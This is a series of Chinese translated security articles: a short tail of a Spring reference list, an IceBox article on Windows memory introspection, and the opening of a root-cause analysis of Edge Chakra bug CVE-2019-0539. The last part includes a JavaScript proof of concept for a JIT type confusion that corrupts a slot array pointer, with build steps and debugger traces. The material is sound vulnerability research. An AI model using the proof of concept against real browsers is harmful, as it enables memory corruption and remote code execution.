行文颇长，若有不当之处，多多包涵。
## 0x9 参考链接
[Spring源码分析之WebMVC](https://www.jianshu.com/p/1136212b9197)
[Spring Boot中关于%2e的Trick](http://rui0.cn/archives/1643) | 社区文章 |
# 揭秘Icebox虚拟机自检解决方案实现Windows内存自省的原理
|
##### 译文声明
本文是翻译文章
原文地址：<https://thalium.github.io/blog/posts/windows-full-memory-introspection-with-icebox/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
虚拟机自省（Virtual Machine
Introspection，VMI）是一种用于探索虚拟机的强大技术。这种技术可以直接作用于虚拟机管理程序，并且可以隐蔽且精确地控制虚拟机状态，也就是CPU上下文和内存。
基本上，VMI的一个常见用法是首先在地址上设置断点，然后等待中断，最后读取虚拟内存。例如，如果我们想要在Windows上监视用户的文件写入活动，只需要在内核区域的`NtWriteFile`函数上设置一个断点即可。在触发断点后，我们就可以检索相关的进程，并捕获对应的调用堆栈。所有这些操作最终都需要访问虚拟机的虚拟内存。
听起来，访问这个内存似乎很简单。但事实证明，在Windows上的实际情况要更复杂一些。大家可能都已经了解分页机制，简而言之，分页机制包括在磁盘上备份物理内存页面，以使其可用于进一步访问，从而以某种方式增加物理内存空间。在默认情况下，Windows也将这些备份的页面存储到页面文件中（默认情况下为`pagefile.sys`，也称为交换文件）。因此，当遇到断点时，可能无法直接访问进程虚拟内存的全部内容，因为某些页面可能已经被调出。
禁用页面文件是Windows中的一个功能，是一种可以将所有页面保存到物理内存中的简单方式。但是很遗憾，正如我们在本文中即将看到的，这种技术还不足够。实际上，Windows在处理物理内存的过程中还做了一些优化。
本文的第一部分主要介绍Windows虚拟地址转换机制，描述了物理内存页面描述中涉及的所有软件状态。
然后，在第二部分中，我们将重点介绍IceBox如何在其初始化阶段自动配置操作系统，以提供Windows虚拟机的完整物理内存访问。
## 二、Windows虚拟地址转换
### 2.1 硬件部分
软件内存管理依赖于基础硬件的支持。从硬件的角度来看，内存管理单元（MMU）负责虚拟地址转换以访问物理内存。关于更完整的说明，可以参考《英特尔64位和IA-32位架构软件开发人员手册》。在这里，我们仅介绍最为常见的情况——64位4级分页模式。
这个转换过程从CR3寄存器开始，当然还有一个虚拟地址。
地址的较高16位没有使用，随后的48位分别为4个9位的值，分别对应于页表层次结构的4个级别：
Level 0是4级页映射偏移量（PML4）；
Level 1是页目录指针偏移量（PDP）；
Level 2是页目录偏移量（PDP）；
Level 3是页表偏移量（PT）。
而最后的12位，对应于页面中的偏移量。
下图说明了整个过程：
1、CR3包含页面映射4级的基地址，也称为目录表基地址（DTB，第12-51位）；
2、PML4E提供了页目录指针表（PDPT）的基地址，可以在PDP偏移量处读取PDPE；
3、PDPE给出了页目录表（PDT）的基地址，可以从PD偏移量处读取PDE；
4、PDE给出了页表（PT）的基地址，可以从PT偏移量处读取PTE。
最后，页表项（PTE）描述了物理内存中页的状态。在Windows中，这个硬件状态由`_MMPTE_HARDWARE`结构定义。
nt!_MMPTE_HARDWARE
+0x000 Valid : Pos 0, 1 Bit
+0x000 Dirty1 : Pos 1, 1 Bit
+0x000 Owner : Pos 2, 1 Bit
+0x000 WriteThrough : Pos 3, 1 Bit
+0x000 CacheDisable : Pos 4, 1 Bit
+0x000 Accessed : Pos 5, 1 Bit
+0x000 Dirty : Pos 6, 1 Bit
+0x000 LargePage : Pos 7, 1 Bit
+0x000 Global : Pos 8, 1 Bit
+0x000 CopyOnWrite : Pos 9, 1 Bit
+0x000 Unused : Pos 10, 1 Bit
+0x000 Write : Pos 11, 1 Bit
+0x000 PageFrameNumber : Pos 12, 36 Bits
+0x000 ReservedForHardware : Pos 48, 4 Bits
+0x000 ReservedForSoftware : Pos 52, 4 Bits
+0x000 WsleAge : Pos 56, 4 Bits
+0x000 WsleProtection : Pos 60, 3 Bits
+0x000 NoExecute : Pos 63, 1 Bit
从上述原理中，提取出对我们本次研究有用的两点，分别是：
1、向硬件指示所有其他位均有效并且可以安全访问目标物理页面的有效标志；
2、`PageFrameNumber`表示物理内存中的页面索引。
当页面有效时，就可以很容易地计算出物理地址：
PhysicalAddress = _MMPTE_HARDWARE.PageFrameNumber * 0x1000 + PageOffset
### 2.2 软件部分
在Windows中，工作集（Working
Set，WS）是有关内存管理的一个关键概念。它基本上对应于在不引起页面错误的情况下可以访问的页面集。实际上，存在三种类型的工作集：进程、系统和会话，每一种都有其自己的限制。
在本文中，我们使用以下简化后的工作集表示，来说明Windows虚拟地址转换的行为：
在这里，我们考虑单个进程的工作集。为简单起见，这个工作集在左侧表示为一组PTE。其中的每一个PTE都引用一个有效页面，如右侧所示。有效PTE设置了有效位，在这种情况下，MMU就发挥了作用，并执行到物理地址的转换。
如果没有设置有效位，则MMU会忽略所有其他PTE标志，访问这样的页面将会产生页面错误。这就为操作系统提供了将这些位用于任何地方的可能性，特别是可以优化其管理内存的方式。因此，Windows通过名为`_MMPTE`的特定联合体为页面定义了几种内部状态：
nt!_MMPTE
+0x000 u :
+0x000 Long : Uint8B
+0x000 VolatileLong : Uint8B
+0x000 Hard : _MMPTE_HARDWARE
+0x000 Proto : _MMPTE_PROTOTYPE
+0x000 Soft : _MMPTE_SOFTWARE
+0x000 TimeStamp : _MMPTE_TIMESTAMP
+0x000 Trans : _MMPTE_TRANSITION
+0x000 Subsect : _MMPTE_SUBSECTION
+0x000 List : _MMPTE_LIST
除了已经介绍的`_MMPTE_HARDWARE`之外，所有其他结构均表示PTE的软件状态，操作系统使用该状态来实现一些优化。在以下各小节中，我们通过查看`_MMPTE_SOFTWARE`来判断出需要分析并考虑的结构：
nt!_MMPTE_SOFTWARE
+0x000 Valid : Pos 0, 1 Bit //_MMPTE_HARDWARE
+0x000 PageFileReserved : Pos 1, 1 Bit
+0x000 PageFileAllocated : Pos 2, 1 Bit
+0x000 ColdPage : Pos 3, 1 Bit
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit //_MMPTE_PROTOTYPE/_MMPTE_SUBSECTION
+0x000 Transition : Pos 11, 1 Bit //_MMPTE_TRANSITION
+0x000 PageFileLow : Pos 12, 4 Bits
+0x000 UsedPageTableEntries : Pos 16, 10 Bits
+0x000 ShadowStack : Pos 26, 1 Bit
+0x000 Unused : Pos 27, 5 Bits
+0x000 PageFileHigh : Pos 32, 32 Bits //_MMPTE_SOFTWARE
在Rekall取证项目中，已经充分记录了下面的内容。但是，需要注意的是，在Windows虚拟地址转换中还涉及到一些可能的软件PTE状态以及转换，以缓解最近发现的CPU推测执行漏洞（CVE-2018-3615
L1终端故障，又称为Foreshadow）。
### 2.3 Transition PTE（过渡PTE）
在Windows中，平衡集管理器（Balance Set
Manager，KeBalanceSetManager）负责管理工作集。当可用物理内存低于某个阈值时，这个组件可以决定从工作集删除一些很少使用的页面。有关平衡集管理器的更多信息，可以参考Windows
Internals第七版的第五章：内存管理。在此过程中，会将PTE的当前状态从有效（`_MMPTE.u.hard.Valid=1`）更改为过渡（`_MMPTE.u.Hard.Valid=0`且`_MMPTE.u.Soft.Transition=1`）。下图说明了这一步骤：
其中，先前有效的页面已经从工作集中删除（以灰色表示），并且相应的PTE被标记为处于过渡状态。
尽管无法直接访问该页面，但其内容仍然存在，并且在物理内存中有效。在访问后，将会触发页面错误，这将导致PTE的状态由过渡状态再恢复为有效状态。这个过渡状态对应于`_MMPTE_TRANSITION`结构：
nt!_MMPTE_TRANSITION
+0x000 Valid : Pos 0, 1 Bit // 0
+0x000 Write : Pos 1, 1 Bit
+0x000 Spare : Pos 2, 1 Bit
+0x000 IoTracker : Pos 3, 1 Bit
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit
+0x000 Transition : Pos 11, 1 Bit // 1
+0x000 PageFrameNumber : Pos 12, 36 Bits
+0x000 Unused : Pos 48, 16 Bits
在过渡状态下，PTE的目标物理地址的计算方法如下：
PhysicalAddress = _MMPTE.u.Trans.PageFrameNumber * 0x1000 + PageOffset
### 2.4 分页文件PTE
随后，处在过渡状态的页面将被调出到磁盘上的页面文件中。这个步骤会将页面从物理内存中释放出来，并将其备份到磁盘，如下图所示：
对应的结构是之前已经查看过的`_MMPTE_SOFTWARE`，其中`Valid`、`Prototype`和`Transition`标志设置为0，但`PageFileHigh`并不是0。
nt!_MMPTE_SOFTWARE
+0x000 Valid : Pos 0, 1 Bit // 0
+0x000 PageFileReserved : Pos 1, 1 Bit
+0x000 PageFileAllocated : Pos 2, 1 Bit
+0x000 ColdPage : Pos 3, 1 Bit
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit // 0
+0x000 Transition : Pos 11, 1 Bit // 0
+0x000 PageFileLow : Pos 12, 4 Bits
+0x000 UsedPageTableEntries : Pos 16, 10 Bits
+0x000 ShadowStack : Pos 26, 1 Bit
+0x000 Unused : Pos 27, 5 Bits
+0x000 PageFileHigh : Pos 32, 32 Bits // !=0
在这种情况下，检索页面内容的唯一方法是从相应的页面文件中将其读取回来。默认情况下，操作系统按驱动器定义一个页面文件。每个分页文件由索引进行标识。在备份页面时，目标页面文件索引对应于`PageFileLow`字段，文件中的页面偏移量（`PageFileOffset`）解析如下：
PageFileOffset = _MMPTE.u.Soft.PageFileHigh * 0x1000 + PageOffset
### 2.5 Demand-zero PTE
操作系统没有保存零填充的页面，而是仅仅将这个信息保留在相应的PTE结构中。当必须要还原此类页面时，平衡集管理器将从零页表中获取一个并更新相应的PTE。零页表将由零页面线程（`MiZeroPageThread`）维护，以满足需要使用零的页面错误。
全零页面中包含一个非空的PTE值（`_MMPTE.u.Long`），但在`_MMPTE_SOFTWARE`结构中，以下标志被设置为零，分别是：`Valid`、`Prototype`、`Transition`和`PageFileHigh`。
nt!_MMPTE_SOFTWARE
+0x000 Valid : Pos 0, 1 Bit // 0
+0x000 PageFileReserved : Pos 1, 1 Bit
+0x000 PageFileAllocated : Pos 2, 1 Bit
+0x000 ColdPage : Pos 3, 1 Bit
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit // 0
+0x000 Transition : Pos 11, 1 Bit // 0
+0x000 PageFileLow : Pos 12, 4 Bits
+0x000 UsedPageTableEntries : Pos 16, 10 Bits
+0x000 ShadowStack : Pos 26, 1 Bit
+0x000 Unused : Pos 27, 5 Bits
+0x000 PageFileHigh : Pos 32, 32 Bits // 0
### 2.6 Prototype PTE
原型PTE（Prototype PTE）用于描述由内存段（Section
Objects）表示的内存。可以通过`CreateFileMapping`函数来创建段对象，然后使用`OpenFileMapping`打开该段对象，并使用`MapViewOfFile`进行映射。基本上，段对象应该对应于共享内存，如下图所示：
我们有两个进程，每个进程拥有一个相同的段对象（sectionX），它们指向相同的物理页面。在这里，所有PTE都是有效的。
在这里有一个与操作系统相关的难点，就是同步共享页面的裁剪。实际上，由于多个PTE可以引用同一个物理页面，因此如果操作系统决定从物理内存中删除共享页面，则它必须查找引用该页面的所有PTE，并更新其当前状态。由于这种方法看起来效率很低，因此Windows使用了原型PTE来解决这一问题。
有关原型PTE及其与段对象关系的完整说明，各位读者可以参考：<https://artemonsecurity.blogspot.com/2018/10/what-is-proto-pte-and-how-windows-vmm.html>
简而言之，当平衡集管理器裁剪共享页面时，会在相应的PTE中设置`_MMPTE.u.Soft.Prototype`标志。在这种情况下，涉及到的结构是`_MMPTE_PROTOTYPE`，其定义如下：
nt!_MMPTE_PROTOTYPE
+0x000 Valid : Pos 0, 1 Bit // 0
+0x000 DemandFillProto : Pos 1, 1 Bit
+0x000 HiberVerifyConverted : Pos 2, 1 Bit
+0x000 ReadOnly : Pos 3, 1 Bit
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit // 1
+0x000 Combined : Pos 11, 1 Bit
+0x000 Unused1 : Pos 12, 4 Bits
+0x000 ProtoAddress : Pos 16, 48 Bits
在这个结构中，`ProtoAddress`指向另一个名为prototype PTE的PTE。而这个在内核`PagedPool`中分配的prototype
PTE实际上描述了当前页面的状态。从那时开始，在删除页面时，操作系统只需要更新相应的prototype PTE即可。
现在，原型PTE本身可以表示所有此前描述过的状态，包括`valid`、`transition`、`paged`、`demand
zero`。理论上，也可以是其他状态，但这里并不涉及虚拟地址转换。
例如，下图说明了处于过渡状态的原型PTE，这表明其`PageFrameNumber`仍然以具有有效内容的物理页面为目标：
### 2.7 Subsection PTE
考虑到映像文件映射，系统依靠原型PTE实现了特殊的优化。在这些文件中，包括几个不可写的常量页面。这样一来，系统就无须备份页面文件中已驻留在原始文件中的此类页面。
为了处理这种情况，系统会在目标原型PTE中设置`PTE.u.Soft.Prototype`标志。然后，这个PTE的对应结构是`_MMPTE_SUBSECTION`，其定义如下：
nt!_MMPTE_SUBSECTION
+0x000 Valid : Pos 0, 1 Bit // 0
+0x000 Unused0 : Pos 1, 3 Bits
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit // 1
+0x000 ColdPage : Pos 11, 1 Bit
+0x000 Unused1 : Pos 12, 3 Bits
+0x000 ExecutePrivilege : Pos 15, 1 Bit
+0x000 SubsectionAddress : Pos 16, 48 Bits
下图说明了从两个工作集中删除`ntdll.dll`页面的情况：
这里无需过于详细地说明，`_MMPTE.u.Subsect.SubsectionAddress`指向的是`_CONTROL_AREA`结构，该结构本身指向`_FILE_OBJECT`。
但遗憾的是，如果不读取文件系统上的原始映像文件，则无法访问Subsection PTE的内容。
### 2.8 基于VAD的PTE
最后的优化是由Windows实现的。当PTE值为空（`_MMPTE.u.Long=0`）时，必须检查虚拟地址描述符（VAD）进程，以找到相应的原型PTE（在Windows内部和rekall项目中的VAD
Hardware
PTE中，将该状态命名为unknown）。当设置`_MMPTE.u.Soft.Prototype`标志并且`PTE.u.Proto.ProtoAddress`等于`0xFFFFFFFF0000`时（在Windows中，该状态称为虚拟地址描述符；在rekall项目中，该状态称为VAD
Prototype PTE），情况相同。
nt!_MMPTE_PROTOTYPE
+0x000 Valid : Pos 0, 1 Bit // 0
+0x000 DemandFillProto : Pos 1, 1 Bit
+0x000 HiberVerifyConverted : Pos 2, 1 Bit
+0x000 ReadOnly : Pos 3, 1 Bit
+0x000 SwizzleBit : Pos 4, 1 Bit
+0x000 Protection : Pos 5, 5 Bits
+0x000 Prototype : Pos 10, 1 Bit // 1
+0x000 Combined : Pos 11, 1 Bit
+0x000 Unused1 : Pos 12, 4 Bits
+0x000 ProtoAddress : Pos 16, 48 Bits // 0xFFFFFFFF0000
下图说明了在这种情况下，如何访问所需的原型PTE。
首先，这种基于VAD的情况仅在用户进程的上下文中发生。从相应的`_EPROCESS`结构（蓝色）开始，我们必须找到相应的存储区。这个区域被称为“虚拟地址描述符”（VAD），由`_MMVAD`内核结构定义。每个进程都拥有一组VAD，这些VAD从`VadRoot`字段开始组成一个自平衡的AVL树。简而言之，每个VAD都有一个起始地址（`StartingVpn`代表虚拟起始页编号）和一个终止地址（`EndingVpn`）字段。有以下三种可能的情况：
1、所需地址在`StartingVpn`以下，将考虑左子树（红色）；
2、所需地址在`EndingVpn`以上，将考虑右子树（蓝色）；
3、否则，所需的地址位于`StartingVpn`和`EndingVpn`定义的范围内，即找到所需的VAD（深灰色）。
现在，每个VAD都将一组原型PTE作为`FirstPrototype`字段公开。由于原型PTE都是4KB的页面，因此可以轻松计算出目标原型PTE（深绿色）。最后，就可以对获得的原型PTE进行处理。
### 2.9 缓解L1终端故障（Foreshadow）
自2018年8月开始，对上述虚拟地址转换方法进行了改进。目前，如果只在虚拟地址上使用`!pte kd`命令可能会输出以下结果：
kd> !pte 7ff743655000
... PTE at FFFFE93FFBA1B2A8
... contains 000020000891F860
... not valid
... Transition: 891F
... Protect: 3 - ExecuteRead
如我们所见，相应的PTE是无效的（000020000891F860）。我们可以很容易地验证内容是否代表`PageFrameNumber`为`0x20000891F`的过渡PTE。但是在`kd`中，却显示了一个不同的过渡PFN值`0x891F`。导致这种差异的原因是什么呢？
微软安全响应中心（MSRC）给出了完整的答案：在这里，引入了一种新的缓解措施，用于缓解一个名为L1终端故障（L1TF）的推测执行侧信道漏洞。
简而言之，英特尔手册中所述的MMU行为与推测的行为不同。当未设置`_MMPTE_HARDWARE.Valid`标志时，CPU会推测性地尝试访问L1高速缓存中以`PageFrameNumber`为目标的页面。如果存在指令，则会预取指令，这可能会导致敏感信息（例如内核地址）泄露。
为了缓解这个CPU漏洞，Windows现在确保每个无效的PTE都有一个`PageFrameNumber`，超出可用物理内存的限制。这是通过`MiSwizzleInvalidPte`函数来实现的。
_MMPTE __fastcall MiSwizzleInvalidPte(_MMPTE pte)
{
if ( gKiSwizzleBit )
{
if ( !(gKiSwizzleBit & pte.u.Long) )
return (_MMPTE)(pte.u.Long | gKiSwizzleBit);
pte.u.Long |= MMPTE_SWIZZLE_BIT;
}
return pte;
}
`gKiSwizzleBit`全局值是在系统初始化期间，在`MiInitializeSystemDefaults`函数中定义的：
KiSwizzleBit = 1i64 << (KiImplementedPhysicalBits - 1);
请注意，这里的`gKiSwizzleBit`并不是正式名称，而只是我们在这篇文章中的建议名称。
使用`cpuid`指令初始化`KiImplementedPhysicalBits`值以获取最大的物理内存，可以参考`KiDetectKvaLeakage`函数。
### 2.10 小结
下图总结了整个PTE解析算法：
现在，我们就能够处理Windows虚拟地址转换中涉及的所有软件PTE状态：
1、绿色，表示我们可以访问目标页面的内容；
2、红色，表示以下两种情况，仍然需要访问文件系统：
（1）分页文件PTE；
（2）Subsection PTE。
## 三、IceBox和Windows内存访问
IceBox并没有寻找一种解析虚拟磁盘中的页面文件和可执行文件的方法，而是专注于一种更实用的方法。在理想情况下，我们希望启动虚拟机并访问其物理内存，而无需任何特殊配置或用户操作。
### 3.1 禁用页面文件
禁用页面文件是`sysdm.cpl`的一项众所周知的功能，如下图所示：
修改注册表中位于`HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory
Management`的键下，名为`PagingFiles`的多字符串值，如下图所示：
页面文件由名为`smss.exe`的第一个用户进程创建，该进程在内核初始化（`Phase1InitializationIoReady`）期间启动。一切工作都开始于`SmpLoadDataFromRegistry`函数，该函数从注册表中创建`SmpPagingFileList`。每个条目都包含页面文件的路径（在我们的测试示例中为`c:pagefile.sys`和`e:pagefile.sys`）。随后，`SmpCreatePagingFiles`函数遍历`SmpPagingFileList`，以最终在每个页面文件上调用`NtCreatePagingFile`系统调用。
如果要禁用IceBox中的页面文件，需要禁用`NtCreatePagingFile`。出于隐蔽性的考虑，这里不执行任何挂钩，而是在`NtCreatePagingFile`上设置一个临时的断点。当由`smss.exe`触发断点时，通过修改RIP寄存器将控制流重定向到RET指令。在初始化之后，`smss.exe`将启动第一个`csrss.exe`进程。该进程的启动让我们可以删除`NtCreatePagingFile`上的上一个断点。
### 3.2 禁用Subsection PTE
为了解决这个问题，我们还需要更深入地了解系统如何创建和映射`_SECTION`对象。它是以`NtCreateSection`和子函数开始：
NtCreateSection
NtCreateSectionCommon
MiCreateSection
MiCreateImageOrDataSection
MiCreateNewSection
MiCreateImageFileMap
在最后一个函数中，有一个值得关注的部分，其伪代码如下：
status = MiBuildImageControlArea(...,&FileSize,&pNewControlArea);
if (!NT_SUCCESS(Status)) goto CleanUp;
//...
if (IoIsDeviceEjectable(arg0_pFileObject->DeviceObject))
{
bIsEjectable = 1;
}
//...
if (bIsEjectable)
{
pNewControlArea->u.ImageControlAreaOnRemovableMedia = 1;
}
基本上，如果目标设备对象被认为是可弹出的，就会在新创建的控制区域中设置`ImageControlAreaOnRemovableMedia`标志。然后，在`MiCreateNewSection`中检查该标志。设置后，将调用`MiSetPagesModified`函数，该函数更新每个PTE的状态，这些状态描述了从原型到过渡的部分。由于禁用了页面文件，这些PTE将始终处于过渡状态，该状态由IceBox处理。
为了实现这一点，`IoIsDeviceEjectable`函数需要返回`true`：
bool __fastcall IoIsDeviceEjectable(PDEVICE_OBJECT pDeviceObject)
{
return (((pDeviceObject->Characteristics & FILE_FLOPPY_DISKETTE) == 0) & !_bittest(&InitWinPEModeType, 31u)) == 0;
}
因此，我们就有了两种选择：
1、强制在卷设备的属性中添加`FILE_FLOPPY_DISKETTE`标志；
2、修改`InitWinPEModeType`值。
第一个选择需要检测设备的创建时间，并更新其属性。第二个选择似乎更加容易。实际上，`InitWinPEModeType`是在`Phase1InitializationDiscard`函数中初始化的：
if ( Options && strstr(Options, "MININT") )
{
InitIsWinPEMode = 1;
if ( strstr(Options, "INRAM") )
InitWinPEModeType |= 0x80000000;
else
InitWinPEModeType |= 1u;
}
这个选项对应于Windows
PE功能，WinPE适用于部署、安装和修复Windows桌面和服务器安装的小型操作系统。由于该系统是从ISO文件启动的，因此Subsection
PTE限制不影响这个选项。还有非常好的一点，这个选项（至少）自Windows XP以来就一直存在。
IceBox当前通过在操作系统启动期间强制将这个`InitWinPEModeType`全局设置为`0x80000000`来启动WinPE模式。
### 3.3 内存压缩
内存压缩是Windows 10中引入的功能，并且已经向后移植到Win 8和Win
7。这个机制可以压缩客户端Windows版本上的私有页面，以增加可用内存大小。内存压缩涉及到内核和用户两个部分：
1、对于内核，核心功能是在名为“存储管理器”（SM，所有公共和私有内核函数均以`Sm`和`Smp`为前缀）的专用组件中实现的；
2、对于用户空间，`Superfetch`服务（托管在`svchost.exe`实例中的`sysmail.dll`）由`NtSetSystemInformation`调用存储管理器来管理存储。
有关内存压缩的更完整说明，请参考Windows Internals第七版的第五章：内存管理。由于压缩只是一种内存优化方式，因此我们想要禁用该功能。
内核使用`SmFirstTimeInit`函数中的`PsCreateMinimalProcess`创建`MemoryCompression`进程。在创建该进程之前，`MmStoreCheckPagefiles`函数确保至少存在一个页面文件，否则会返回状态`STATUS_NOT_SUPPORTED`。
通过禁用页面文件的方式，将隐蔽地禁用内存压缩功能。
## 四、局限性
上述对于页面文件和WinPE模式的修改会影响系统。首先，禁用页面文件存在以下几个限制：
1、页面文件是第二种内存存储方式，实际上可以增加物理内存的大小。因此，禁用页面文件也就直接限制了可用物理内存的总量。通过增加虚拟机的物理内存，可以规避此类影响。
2、如果系统发生崩溃，会使用页面文件来临时存储生成的崩溃转储。禁用页面文件将不会创建故障转储。
3、如前所述，内存压缩需要页面文件的支持。因此，禁用页面文件将影响内存压缩的功能。
其次，从隐蔽性的角度来看，WinPE模式很容易被检测到。目前，在我们的IceBox方案中，没有考虑到这一点。
## 五、总结
这篇文章从VMI的角度分析了虚拟机的内存访问原理。更准确地说，我们描述了一些Windows虚拟地址转换的内部原理和针对漏洞实施的缓解措施，这里涉及到的漏洞是推测执行侧信道漏洞（L1中断故障）。在对内存内部结构有了深入了解之后，我们就可以访问任意存在于内存中的物理页面。同样，我们还可以解决页面没有映射到物理内存中，而是仅存在于文件系统中的情况。
随后，我们描述了VMI如何在其初始化阶段自动允许Windows虚拟机配置，以强制将任何页面以持久性方式映射到内存中。所有这些都在IceBox中实现，可以实现以下自动功能：
1、禁用页面文件，以避免分页机制；
2、启用WinPE模式，避免Subsection PTE直接引用磁盘上的页面。
综合评估对系统的影响以及内存自省带来的优势，我们认为进行以上调整的好处要大于其缺点。 | 社区文章 |
# Microsoft Edge CVE-2019-0539 漏洞分析与利用
|
##### 译文声明
本文是翻译文章，文章原作者 perception-point，文章来源：perception-point.io
原文地址：<https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文对Microsoft Edge的CVE-2019-0539漏洞进行了详细的分析，并利用漏洞实现完全的读写控制，最终实现RCE。
## 简介
微软在2019年1月的 Microsoft Edge Chakra Engine
[更新](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0539)中[修复](https://github.com/Microsoft/ChakraCore/commit/788f17b0ce06ea84553b123c174d1ff7052112a0)了CVE-2019-0539漏洞。该漏洞和其他两个漏洞由Google
Project Zero的Lokihardt 发现并[报告](https://bugs.chromium.org/p/project-zero/issues/detail?id=1702)。该漏洞可以通过访问恶意网页导致远程代码执行。正如Lokihardt所述，当Chakra JIT
javascript编译器生成的代码不经意间发生了对象类型转换，并且错误地认为这种转换后续对该对象没有影响，这时就会发生类型混淆漏洞。Chakra开发团队的Abhijith
Chatra在其博客中讲到，动态类型对象包含一个property map和一个slot array。property map用来掌握一个对象属性在slot
array中的索引，而slot array则存储属性的真实数据。CVE-2019-0539会引发JIT代码的内存对象混淆，从而导致slot
array指针被任意数据覆写。
## 漏洞根源分析
### 设置
设置好windows的ChakraCore漏洞版本：
<https://github.com/Microsoft/ChakraCore/wiki/Building-ChakraCore>
(在Visual Studio MSBuild命令提示符中)
c:code>git clone https://github.com/Microsoft/ChakraCore.git
c:code>cd ChakraCore
c:codeChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
c:codeChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug BuildChakra.Core.sln
### Time Travel Debugging
本篇文章将使用 **TTD (Time Travel Debugging)** ，微软官方文档介绍如下：
> Time Travel Debugging是一款调试器工具，允许你记录正在运行进程的执行轨迹，然后向前、向后进行重放。 Time Travel
> Debugging (TTD) 可以让你“回放”调试器会话，而不必重新启动触发错误，从而帮助你更轻松的调试解决各种问题。
从[Microsoft Store](https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab)下载安装最新版的Windbg。
运行时记得要以管理员身份运行。
### 根源分析
Poc:
function opt(o, c, value) {
o.b = 1;
class A extends c { // may transition the object
}
o.a = value; // overwrite slot array pointer
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o; // causes "class A extends c" to transition the object type
opt(o, cons, 0x1234);
print(o.a); // access the slot array pointer resulting in a crash
}
main();
利用[TTD启动调试分析](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-record#HOWTORECORD)，直到其发生Crash然后执行如下命令：
0:005> !tt 0
Setting position to the beginning of the trace
Setting position: 14:0
(1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 14:0
ntdll!LdrInitializeThunk:
00007fff`03625640 4053 push rbx
0:000> g
ModLoad: 00007fff`007e0000 00007fff`0087e000 C:WindowsSystem32sechost.dll
ModLoad: 00007fff`00f40000 00007fff`00fe3000 C:WindowsSystem32advapi32.dll
ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000 C:WindowsSystem32win32u.dll
ModLoad: 00007fff`00930000 00007fff`00ac7000 C:WindowsSystem32USER32.dll
ModLoad: 00007ffe`ff940000 00007ffe`ffada000 C:WindowsSystem32gdi32full.dll
ModLoad: 00007fff`02e10000 00007fff`02e39000 C:WindowsSystem32GDI32.dll
ModLoad: 00007fff`03420000 00007fff`03575000 C:WindowsSystem32ole32.dll
ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000 C:WindowsSystem32bcrypt.dll
ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000 C:WindowsSYSTEM32dbghelp.dll
ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000 C:WindowsSYSTEM32dbgcore.DLL
ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000 c:ppChakraCoreBuildVcBuildbinx64_debugchakracore.dll
ModLoad: 00007fff`011c0000 00007fff`011ee000 C:WindowsSystem32IMM32.DLL
ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000 C:WindowsSystem32kernel.appcore.dll
ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000 C:WindowsSYSTEM32Bcp47Langs.dll
ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000 C:WindowsSYSTEM32bcp47mrm.dll
ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000 C:WindowsSYSTEM32windows.globalization.dll
ModLoad: 00007ffe`ff010000 00007ffe`ff01c000 C:WindowsSYSTEM32CRYPTBASE.DLL
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 90063:0
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
0:004> ub
chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:ppchakracorelibruntimetypestypehandler.cpp @ 96]:
00007ffe`9cd1ec5d 488b442450 mov rax,qword ptr [rsp+50h]
00007ffe`9cd1ec62 0fb74012 movzx eax,word ptr [rax+12h]
00007ffe`9cd1ec66 8b4c2460 mov ecx,dword ptr [rsp+60h]
00007ffe`9cd1ec6a 2bc8 sub ecx,eax
00007ffe`9cd1ec6c 8bc1 mov eax,ecx
00007ffe`9cd1ec6e 4898 cdqe
00007ffe`9cd1ec70 488b4c2458 mov rcx,qword ptr [rsp+58h] // object pointer
00007ffe`9cd1ec75 488b4910 mov rcx,qword ptr [rcx+10h] // slot array pointer
0:004> ba w 8 poi(@rsp+58)+10
0:004> g- Breakpoint 1 hit
Time Travel Position: 9001D:178A
00000195`cc9c0159 488bc7 mov rax,rdi
下面是最终阶段覆写slot
array指针的JIT代码。注意`chakracore!Js::JavascriptOperators::OP_InitClass`的调用。正如Lokihardt解释的那样，这个函数最终将会调用SetIsPrototype，从而转换对象类型。
0:004> ub @rip L20
00000195`cc9c00c6 ef out dx,eax
00000195`cc9c00c7 0000 add byte ptr [rax],al
00000195`cc9c00c9 004c0f45 add byte ptr [rdi+rcx+45h],cl
